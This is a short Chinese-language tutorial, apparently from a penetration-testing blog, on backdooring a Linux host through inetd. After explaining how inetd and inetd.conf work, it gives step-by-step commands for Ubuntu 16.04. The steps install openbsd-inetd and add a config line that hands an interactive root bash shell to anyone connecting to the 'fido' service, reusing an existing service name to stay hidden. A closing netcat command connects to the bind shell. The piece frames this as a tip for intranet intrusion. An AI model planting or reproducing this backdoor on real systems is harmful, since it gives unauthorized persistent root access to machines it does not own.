0x01 理解inetd
是干什么的
1 2 3 4 5
| 通俗来讲就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的 具体怎么工作的呢,其实非常简单,当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序 然后再把接收到的这个socket交给那个程序去处理,问题恰巧也就出在这里 如果来自外部的某个socket是要执行一个可交互的shell [比如,我们已经在目标系统的inetd配置文件中事先定义好],这岂不是就相当于一个简易的bind型后门 另外,关于使用inet的好处就是,不用每个服务都再单独起个进程,这样可以有效降低系统资源消耗,你甚至也可以一定程度上把它理解成linux中的'svchost.exe'进程
|
0x02 关于inetd.conf配置的具体使用说明
1 2
| [service_name] [sock_type] [proto] [flags] [user] [server_path] [args] [服务名称] [协议(tcp或udp)] [标志(wait或 nowait)] [属主] [真实服务程序全路径] [真实服务程序名称及参数]
|
我们不妨先来仔细理解下下面语句的意思
1
| ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
|
1 2 3
| ftp stream: inetd 开始监听ftp服务[默认端口是21] 这里的协议名称及默认端口号其实都已在/etc/protocol和/etc/services文件中事先定义好
|
1
| stream : 并为此服务创建流类型的socket
|
1 2 3 4 5
| root /usr/sbin/in.ftpd in.ftpd: 当inetd监听到ftp客户端请求,且端口成功连接后,inetd就会fork一个子进程,该子进程属主为root 同时它也继承了该子进程的父进程与客户端连接成功后所产生的子socket 然后该子进程将该子socket为0,1,2[标准输入,输出及错误输出]发给execl去执行/usr/sbin/in.ftpd in.ftpd程序 另外,这里还需要稍微注意下,定义要执行的程序必须给绝对路径
|
0x03 开始插入inetd后门,此处暂以ubuntu 16.04LTS为例进行演示
因为默认没装,我们需要先装下inetd
1
| # apt-get install openbsd-inetd
|
为了更好的隐藏我们的shell,可以直接用service中定义好的服务,只需要把实际的处理程序替换下即可
配置inetd.conf并启动inetd
1 2
| # vi /etc/inetd.conf fido stream tcp nowait root /bin/bash bash -i # 当外部请求名为fido的服务时就弹个交互式shell给他
|
1 2
| # inetd # ps -le | grep inetd
|
0x04 实际的连接效果如下
1
| # nc -vv 192.168.3.28 60179
|
小结:
也并不是什么特别新鲜的东西,年代跟差不多跟suid后门一样久远,使用也非常简单,不过背后所涉及到的知识还需要大家多花点儿时间去透彻理解下,相信这样你会收获的更多,作为个小tip,在实际渗透内网时,可能会用的上,还是那句话,像这类的bind上去的后门有个通病,只要目标系统防火墙一开基本就全废了